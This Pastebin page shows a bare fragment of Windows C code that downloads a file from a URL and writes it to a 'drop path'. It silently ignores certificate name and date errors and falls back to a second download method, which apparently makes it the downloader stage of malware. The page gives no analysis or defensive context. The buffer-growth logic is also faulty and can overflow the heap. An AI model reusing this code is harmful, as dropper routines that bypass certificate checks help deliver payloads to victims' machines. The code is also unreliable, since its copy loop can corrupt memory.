Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Download file
- HINTERNET hSession = InternetOpenA(szUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
- if (hSession != 0)
- {
- HINTERNET hConn = InternetOpenUrlA(hSession, szRealDownloadUrl, 0, 0,
- INTERNET_FLAG_NO_UI
- | INTERNET_FLAG_NO_COOKIES
- | INTERNET_FLAG_NO_CACHE_WRITE
- | INTERNET_FLAG_IGNORE_CERT_CN_INVALID
- | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
- | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
- | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, 0);
- if (hConn == 0) goto _DownloadWithUrlMon;
- PBYTE bDownloadBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
- DWORD dwBytesRead = 0, dwLastError = 0, dwCurrBufIdx = 0, dwCurrBufSize = 4096;
- PBYTE bTempBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
- do
- {
- if (!InternetReadFile(hConn, bTempBuffer, 4096, &dwBytesRead))
- {
- dwLastError = GetLastError();
- if (dwLastError != ERROR_SUCCESS)
- {
- HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
- InternetCloseHandle(hConn);
- goto _DownloadWithUrlMon;
- }
- }
- if (dwBytesRead > 0)
- {
- if (dwCurrBufIdx >= dwCurrBufSize)
- {
- bDownloadBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(),
- HEAP_ZERO_MEMORY, bDownloadBuffer, dwCurrBufSize + 4096);
- dwCurrBufSize += 4096;
- }
- memcpy(&bDownloadBuffer[dwCurrBufIdx], bTempBuffer, dwBytesRead);
- dwCurrBufIdx += dwBytesRead;
- }
- } while ((dwLastError == ERROR_SUCCESS) && (dwBytesRead > 0));
- HeapFree(GetProcessHeap(), 0, bTempBuffer);
- InternetCloseHandle(hConn);
- HANDLE hFile = CreateFileA(szDropPath, GENERIC_WRITE, FILE_SHARE_WRITE,
- 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
- if (hFile == INVALID_HANDLE_VALUE)
- {
- HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
- goto _DownloadWithUrlMon;
- }
- WriteFile(hFile, bDownloadBuffer, dwCurrBufIdx, &dwBytesRead, 0);
- CloseHandle(hFile);
- HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
- }
Add Comment
Please, Sign In to add comment